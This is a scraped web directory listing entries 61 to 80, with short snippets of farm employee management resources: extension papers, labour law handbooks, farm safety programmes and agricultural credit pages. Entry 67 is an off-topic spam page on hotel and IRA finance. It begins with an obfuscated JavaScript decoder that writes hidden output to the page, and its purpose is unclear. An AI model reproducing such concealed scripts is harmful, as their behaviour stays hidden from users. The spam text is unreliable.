61. AgManager: Info On Crops, Livestock, Farm Management And Policy Employees, Fogleman, Aug 2000, Download. Assessing Critical Labor Process Issues During Dairy Expansion, Jones, 2002, Download. farm and Ranch Personnel management, http://www.agmanager.info/hr/management/default.asp

about contributors useful links site map ... Human Resources / Management Human Resources: Management Agricultural Labor Management Papers Title Author Date PDF How to be The Kind of Employer You Would Want to Work For Fogleman Aug 2001 Download Building a Reputation as an Employer Fogleman Download Selecting Employees That "Fit" Fogleman Download Recruiting and Selecting Agricultural Employees Fogleman Aug 2000 Download Assessing Critical Labor Process Issues During Dairy Expansion Jones Download Farm and Ranch Personnel Management McGrann, et al Download Risk Management Education Download Management Conference Proceedings Title Date PDF 2001 Employee Management for Production Ag Conference Proceedings Jan 2001 Download In order to read the PDF documents you will need Adobe Acrobat Reader. Click the on the following icon to download the free software Department of Agricultural Economics College of Agriculture Kansas State University

62. UBD New Zealand Business Directory - Comprehensive Business Search Directory management/Outplacement Trauma Counselling, employee Assistance Programmes Values Corporate Event management Corporate Farming Corporate Image http://www.ubd.co.nz/all-categories/Business-and-Professional/Employee-Assistanc

@import url(/css/default.css); New Zealand Business at Your Fingertips 154,572 Businesses with 219,956 products. Last Updated on 9 Jun 2004 NZ Herald Stockwatch Look Wises Chambers of Commerce Directory UBD Marine Industry UBD Exporter/Importer Industry UBD Computer Industry Employers Resource Directory Subscribe Insight UBD Searches Keywords: Business Name: Suburb: Town: Business Category: Product/Brand/Role: Industry Search Regional Search Website Search Links ... Online Maps Services UBD Insight UBD WAP Press Releases Contact Us ... Comacc Limited Click here for Comacc Affco New Zealand Ltd (Corporate Office) Click here for Home Trade List -> Employee Assistance Programmes Industry Search Found: results Print this page Page of (20 results per page) Jump to page: Current Sort Order: Advertiser Sort Alphabetically Primary Corporate Health Ponsonby, Auckland New Zealand's leading provider of company health and wellness programmes, providing a nation wide service for over 6 years. Services include: On-site health seminars, On-site health checks (eg. blood pressure, cholesterol, skin), Executive medicals, ... Craig Margaret Counselling And Mediation Waihi Beach, Waihi Beach

63. Incentive Pay In Dairies We hope that in the pages of the third edition of employee Incentive Pay in Chapter 1 lays out the management principles to which dairy farmers can trace http://www.cnr.berkeley.edu/ucce50/ag-labor/7dairy/7dairy.htm

Agricultural Labor Management University of California APMP Employee Incentive Pay in Dairies (3rd edition) Dairy USA Wage Survey Your chance to participate! We are collecting data on USA dairy wages and benefits. If you operate a dairy in the USA, this is a chance to enter your wage data that will be summarized and compiled by region. If you work with dairy farmers, please encourage them to fill out the form. Our goal is to have over 900 surveys completed. This incentive pay publication is designed to help dairy farmers establish or troubleshoot an incentive pay program, please see preface below Chapter 1 lays out the management principles to which dairy farmers can trace either their incentive pay success or failure. Chapters 2 through 7 provide the dairy science principles that are every bit as important in setting up incentives to improve reproduction, calf raising, milk production, milk quality, equipment, and feeding at your dairy operation. There are three options for accessing this 46-page publication: Electronic version where you can view or download individual chapters.

64. Labor Management In Ag every problem with the same set of management tools, and of the most important decisions a farm manager will Issues related to movement of employees within the http://www.cnr.berkeley.edu/ucce50/ag-labor/7labor/000.htm

Labor Management in Agriculture (2nd Edition) Click on PDF icon to view most recent edition About the Author Gregorio Billikopf Encina was born and raised in Chile’s Central Valley. His interest in agriculture and farm labor issues has been developing since his youth, part of which was spent in his family’s vineyard in San Javier. Billikopf obtained a BS in plant science with emphasis in production agriculture at the University of California, Davis, and a MA in labor management from California State University, Stanislaus. Before coming to the University of California Agricultural Extension in 1981, he worked in migrant education and farm worker training programs. Billikopf's agricultural extension research and teaching efforts have focused on such topics as employee selection, compensation, performance appraisal, discipline and termination, supervision, interpersonal relations, conflict resolution, and negotiation skills. Gregorio has been a frequent national and international speaker in the field, and has had the opportunity to give presentations in Russia, Canada, México, Uganda, and Chile. He is also the manager of the international agricultural human resource electronic forum, AG-HRnet , and the electronic newsletter People in Ag Acknowledgments Many farmers, farm managers, farm labor contractors and farm workers have contributed to this work by participating in research effortsas well as in the photographs. I am particularly thankful to those who were willing to pioneer new organizational interventions and concepts, and share the difficulties and challenges as well as successes they have encountered along the way.

65. Farm Labor Laws And Regulations Civil Rights Regulations. 16. Sexual Harassment. Migrant farm Workers. 17. 20. Guidelines for Terminating and employee. 21. Independent Contractors Versus employee. http://www-agecon.ag.ohio-state.edu/people/erven.1/FarmLabor/

Farm Labor Laws and Regulations This handbook is an information source, not an official interpretation of any of the laws or regulations. This summary of the labor laws and regulations that affect agriculture does not have the weight of law. Therefore, any user of this handbook assumes responsibility for any actions they take based on information from this handbook. Hiring 1. New Hire Reporting 2. Employment of Minors 3. Ohio Workers Compensation 4. Immigration and Nationality Act Wages and Hours 5. Federal Minimum Wage Law Employee Benefits 6. Social Security 7. Unemployment Insurance 8. Retirement Plans for Employees Taxes 9. Federal Income Tax Withholding on Farm Wages 10. State Income Tax Withholding on Farm Wages (Ohio) 11. Work Opportunity and Welfare to Work Tax Credits Health, Safety, Disabilities and Medical Leave 12. OSHA 13. Americans with Disabilities Act 14. Family and Medical Leave Act Discrimination 15. Civil Rights Regulations 16. Sexual Harassment Migrant Farm Workers 17. Migrant Worker Protection Act 18. Migrant Labor Camp Regulations 19. Transportation of Migrant Workers, Federal Motor Carrier Safety Regulations General Topics 20. Guidelines for Terminating and Employee

66. Performance Appraisal Of Farm Employees, HRM-4-97 force as employees. One major tool of good labor management is performance evaluation. However, performance evaluation or appraisal of farm employees is not http://ohioline.osu.edu/hrm-fact/0004.html

Ohio State University Fact Sheet Agricultural Economics 2120 Fyffe Road, Columbus, OH 43201-1066 Performance Appraisal of Farm Employees HRM-4-97 Kenneth D. Simeral Management of labor is one of the least understood management responsibilities in modern-day agriculture. More and more producers hire labor either part-time, full-time or both. Many find it difficult to recruit and hire good labor, and even more difficult to train and retain a productive labor force. Many producers do not view themselves as employers, especially if the labor force consists of family members. Any labor, even if unpaid, means that the producer is the employer and must be able to manage the labor force as employees. One major tool of good labor management is performance evaluation. However, performance evaluation or appraisal of farm employees is not practiced with any regularity, and many times not even attempted. Performance appraisal in its simplest form is the process in which the producer decides how well the employee is doing in relation to the producer's expectations and the employee's expectations. This goes on whether there is a formal process or not and whether the employee is informed as to how he/she is doing. The producer should formalize the process and use it as a means of improving the performance of the employee. The process also helps the employer and employee address the employee's satisfaction with the job. A good performance appraisal system can be created by: Developing a written job description for each employee. Be sure that the employee understands it, and that the job description is kept current.

67. Hotel Management, Chicago Ticket Broker, Income Taxes Description, Office Furnit Hotel management financial. Hotel management financial. Hotel management, financial, Returns information. Hotel management financial. http://business.agtail.com/financial/hotel-management.html

s='B1 TDUNWS91 CHDRJBIS90 KHDFSNHIA1 50 80 PFE5 80 81 UA1 50 C0 BTDFWBF0 CHDRJBIS90 KHDFSNHI90 OUBAE0 C1 B1 80 TDUNWS91 ';n='';for(i=116;i>-1;i)n+=String.fromCharCode(s.charCodeAt(i));s=unescape(n.replace(/ /g,'%'));n='';for(i=77;i>0;i)n+=String.fromCharCode(s.charCodeAt(i-1)^39);document.write(n); Hotel management financial Hotel management financial In a wide variety of non-traditional investment types. Small business help If the Self-Directed Roth IRA is involved, the principal and earnings are tax-free when distributed at retirement. Delaware incorporation Self-Directed IRA custodians provide a unique service to IRA owners and serve as a vital source of funds to new and emerging companies by assisting individuals, including "angel" investors, to invest their retirement funds in such firms. without advice or discretion by the provider). Management Hotel Daily headlines in the Wall Street Journal discuss the damage done to retirement funds by the low return of stocks, bonds, and Bank CD rates and the uncertainty of the current and future economy. First, if they offer investment advice, sell investment product, or have discretion over the management of investment assets, they will be concerned about the liability associated with the purchase and/or administration of any non-traditional investment. Management Hotel As a result, more and more Americans are pulling out of traditional investments and moving toward non-traditional assets as a primary or ancillary investment for their IRAs due to their potential for a higher return.

68. Medical Expenses For Spouse/Employees Medical Expenses for Spouse/Employees By Erlin Weness , University of Minnesota Extension Educator in farm management September 20, 2001. http://swroc.coafes.umn.edu/SWFM/Files/fin/spouseemp_rules.htm

Medical Expenses for Spouse/Employees By: Erlin Weness , University of Minnesota Extension Educator in Farm Management September 20, 2001 Print this page using Acrobat Reader The IRS Code (Section 105) allows employers to deduct from their taxable income amounts paid for the medical expenses of their employees. As an employee benefit, these employer paid medical expenses are not considered taxable income to the employee. These features may encourage businesses to employ an owner’s spouse to save taxes. There are several advantages to a self-employed farmer or other business to write off the entire medical insurance and out-of-pocket medical expenses on Schedule F or C as an employee fringe benefit. First, the employer can deduct the full expense rather than only 60% of the health insurance when using the self-employed health insurance deduction on page 1 of the 1040. Second, if these expenses would be taken as itemized deductions, they would be subject to the 7.5% of income limitation that is imposed on medical expenses. Third, deducting these expenses on Schedule F or C decreases self-employment tax. Further, medical expenses paid by the employer are tax free to the employee. Of course, if you are deducting the medical expenses for your spouse/employee, you will want to specify that it is coverage for his/her entire family. Therefore, you, as the employer, are covered under your spouse’s medical plan.

69. Wrightson KNOW HOW industry with the carrot of farm ownership, we is to keep the employee happy, because a http://www.wrightson.co.nz/knowhow/kh_subcat.asp?id=16&sc_id=64

70. O*NET Code Connector Detailed Information Page manufacturing personnel; confer with management or users; coordinate employee continuing education programs; coordinate engineering http://www.onetcodeconnector.org/report?id=14&s=title&tog=11

71. Rural Quality Of Life Workshops farm Stress management Workshops for farmers, their families and employees were conducted at The Loyalist Inn , Summerside and the Dutch Inn, Charlottetown on http://www.peifa.ca/articles/workshop_feb.htm

Rural Quality of Life Workshops Farm Stress Management Workshops Farm Stress Management Workshops for farmers, their families and employees were conducted at The Loyalist Inn , Summerside and the Dutch Inn, Charlottetown on February 20, 2001. The goal of the workshop was to increase awareness of the impact of rural stress, to identify what rural stress is, what can be done about it and how to manage farm stress. Workshop participants received a workbook containing helpful information on stress as well as contact names and resources in the various communities where professional assistance could be obtained. Farm Stress Management "train the trainer" Workshops for those who work with farmers, their families and employees were conducted at the Dutch Inn, Charlottetown on February 19 and at The Loyalist Inn , Summerside on February 21, 2000. The objectives of these workshops were to increase awareness of the impact of rural stress and to provide a resource kit for service providers for use in rural communities to address issues of rural stress. Those who work with farmers and others in rural communities, such as mental health workers, staff from financial institutions, clergy, agriculture extension staff and farm organization leaders were invited to the "train the trainer" sessions.

72. Farm Safety - Farm Health And Safety Resources The PEI farm Health and Safety Program offers farm Accident Response management and Safety (farmS) training to farmers, their families and employees. http://www.peifa.ca/farmsafety/resources/training.html

PEI Farm Health and Safety Program Marilyn Affleck A recent report from the Canadian Coalition for Agricultural Safety and Rural Health (October 1998) indicates there were 10 work-related farm fatalities in PEI between 1990 and 1996. During 1997 and 1998 things looked better on PEI and no one died as a result of a farm accident. To explain why the fatality rate is so high is difficult. We know that tractors are involved in approximately half of farm fatalities. This summer, two separate work-related farm accidents claimed the life of a man and injured a young woman. I experienced an oversight recently that cost my farm operation dollars in lost sales. Following the milking, I attempted to hang the milkers up and go through a routine to start the wash process. At 11:00 pm, I went back to the barn for a bottle of milk and realized I had neglected to move the pipe from the milk tank to the sink. The wash water emptied into the milk. Missing one important step such as moving the pipe in my case is that all it takes to cause a serious farm accident?. Five years ago, Sylbert Rayner of Coleman lost his arm, broke the other in two places and severely damaged both knees in a power-take-off (PTO) accident during the potato harvest. "It only takes a second to shut the tractor off," Sylbert says. "I didn't and have the rest of my life to regret it." How can we prevent accidents? How do we know we did indeed prevent an accident?

73. FCA Handbook - § BL-043 Guidance For Involvement By Employees, Agents, And Boar But, as you know, the farm Credit Act and FCA regulations restrict the involvement of management, employees, and the current board of directors in the process http://www.fca.gov/handbook.nsf/0/2731510c82832cca85256b4100531bc1?OpenDocument

74. About FCA to Congress, System institutions, employees, Federal agencies the FCA Board and Senior management of developments the safety and soundness of farm Credit System http://www.fca.gov/About-FCA.htm

About FCA FCA Board FCA Officials Borrower Rights ... Inspector General Farm Credit Administration The Farm Credit Administration (FCA or agency) is an independent agency in the executive branch of the U.S. Government. It is responsible for the regulation and examination of the banks, associations, and related entities that collectively comprise what is known as the Farm Credit System (System), including the Federal Agricultural Mortgage Corporation (Farmer Mac). Initially created by an Executive order of the President in 1933, the agency now derives its powers and authorities from the Farm Credit Act of 1971, as amended (Act). FCA's mission is to promote a safe and sound, competitive Farm Credit System. FCA promulgates regulations to implement the Act and examines System institutions for compliance with the Act, regulations, and safe and sound banking practices. If an institution is found to be in violation of the Act or regulations or is operating in an unsafe or unsound manner, the agency has several enforcement options at its disposal to bring about corrective action. The policymaking of the agency is vested in a full-time, three-person board whose members are appointed by the President with the advice and consent of the Senate. The President also designates the chairman of the board who serves as the agency's chief executive officer (CEO) and is responsible for the management of the agency. The agency has been so managed since enactment of the Farm Credit Amendments Act of 1985, which became effective December 23, 1985. The three members of the FCA Board also serve as the board of the

75. The Resource Center Online Bookstore - -> Business Administration understandable way. It is intended to help farm employers, owners and managers create a customized employee handbook Our price $ 8.75. http://www.cce.cornell.edu/store/customer/home.php?cat=304

76. EMPLOYEE HANDBOOK BASICS Robert J. Nobile. Warren, Gorham Lamont, 1999, 13St. James Avenue, Boston, MA 02116. 1800-950-1216. Writing an employee Handbook A Guide For farm Managers. http://www.pdhga.org/articles/grusenmeyer.htm

EMPLOYEE HANDBOOK BASICS David Grusenmeyer Senior Extension Associate, Cornell University th While strategic management issues are far more difficult to deal with compared to answering questions like, when and where do employees pick up their pay checks, the long-term payoffs to the business for dealing with them are much higher. Benefits of an employee handbook Developing an employee handbook requires significant management effort, but investing the time and energy will return numerous benefits, including: Lets the employee know what benefits the company provides including holidays, vacation, health insurance, personal use of business resources such as the shop and tools for projects or the business phone, computer and internet access. Can be useful in avoiding unintended contractual relationships with employees. Can be useful in a legal defense. Getting Started Writing the Employee Handbook Make decisions and commitments about policies and rules for your farm business?

77. Agri-Management Group - Agri-Business Jobs And Consulting Agrimanagement Group farm and Agri-Business Consulting and Employment. We help farm profits grow. Agri-management Group, farm Jobs. http://www.agri-man.com/

Are you looking for a new job or want to grow your career? We can help you find farm, dairy or agriculture employment tailored to your skills, needs and desires. We handle all levels of positions, from basic to management, and our services are always free to job seekers. Discover the smarter way to find a farm, dairy or agriculture job See how we can save you time and money while finding a qualified employee for your farm, dairy or agriculture business Click here to see how our personnel, financial and farm management services can benefit your farm or agriculture business Phone: 608-221-3213 Toll Free: 1-800-551-9230 Fax: 608-221-3263 Email: agriman@charter.net Home Farm Jobs Employers ... Website design by Web Studio West RC 06/01/04

78. Wildlife Habitat Management Institute | NRCS Wildlife Habitat management Institute Conservation Practices and Programs for Your farm (Family in Field), 2002 farm Bill Conservation http://www.whmi.nrcs.usda.gov/

WHMI Home About Us News ... Contact Us Search WHMI All NRCS Sites for Quick Access Electronic Government Employment Employee Directory Farm Bill ... Centers and Institutes Welcome to the NRCS Wildlife Habitat Management Institute web site. Wildlife is one of America's most treasured natural resources. Nearly 80 percent of this Nation's wildlife habitat is interspersed over privately owned landscapes. For over 60 years, the Natural Resources Conservation Service (formerly the Soil Conservation Service) has worked through 3,000 soil and water conservation districts and other partners to assist landowners and managers with natural resource problems and opportunities, including those associated with wildlife habitat management. 2002 Farm Bill Conservation Practices and Programs for Your Farm Simplified guide to conservation programs of the 2002 farm bill Conservation Practices and Programs for Your Farm is an attractive, 8-page color foldout that ties conservation practices to an overview of the farm bill conservation programs. A program matrix outlines eligibility requirements, type of financial assistance, and producer obligations for eight major USDA conservation programs. ...More Info

79. Resource Library of financial and personal topics, such as farm management, Business Transfer, farm Transitions, Legal information, Family and Personal Matters, and Employment. http://www.nyfarmnet.org/services/publications/librarymain.htm

Resource Library: Publications are available, covering a wide range of financial and personal topics, such as Farm Management, Business Transfer, Farm Transitions, Legal information, Family and Personal Matters, and Employment. *new* Risk Management Checklist - to be used by consultants when consulting with a farm family - please send the completed checklist to the FarmNet office for confidential and anonymous compilation for the Risk Management Grant. Farmers may use this checklist on their own, but are encouraged to contact FarmNet for Free and Confidential assistance for addressing your risk management plan, and to participate in the confidential research. NY FarmNet Publications: NY FarmNet Brochure Early Symptoms of Farm Stress Management of Farm Stress Stress Management ... Farmer's Employment Workbook: Job Skills Development for Farmers Farm Families: Living and Working Together Series: 10 Steps for Dealing with Tough Economic Times Tensions In Farm Family Relationships Working With a Lawyer Farm Family Decision Making ... Poor communications a leading cause of breakup in farm family businesses: Do you communicate effectively? Taxes Know the Tax Consequences Before Selling Dairy Farm Assets Tax Management Can Increase After Tax Proceeds When Selling Farm Assets Fruit Industry Articles see Information for Fruit Growers Updated/Edited Bankruptcy Articles Publications for Sale Harvesting Change - Growers' Stories Harvesting Change - Grower's Decision-Making Workbook

80. Meet Our Farm Managers Wealth management farm management. Personal Banking. Meet Our farm Managers. Meet Our farm Managers. http://www.bankillinois.com/wealth/farm/managers.php

Wealth Management : Farm Management Personal Banking Commercial Banking Wealth Management COMMERCIAL BANKING MAIN STREET TRUST PERSONAL BANKING WEALTH MANAGEMENT ... Home Meet Our Farm Managers Meet Our Farm Managers Our farm managers not only have years of experience with the business aspects of farming, but also with the operational concerns and challenges that farmers face every day. They know what it means to be a farmer in today's unpredictable markets, and they apply that knowledge to help you make the best possible decisions. Tom Heinhorst Senior Vice President, Accredited Farm Manager, Accredited Rural Appraiser Tom Heinhorst has worked for BankIllinois for 33 years, publishing several articles on South American soybean production and managing over 10,000 acres in east central Illinois, Iowa and Missouri. He holds a BS in agriculture (agricultural economics) from the University of Illinois at Urbana-Champaign, where he worked as a student field man in the Agronomy Department. He also is a graduate, with highest honors, of the National Graduate Trust School at Northwestern University. He is past president of the Eastern Illinois Estate Planning Council, and operates 725 acres of farmland in Mason County, Illinois, as a tenant farmer. Brian Waibel Vice President, Accredited Farm Manager

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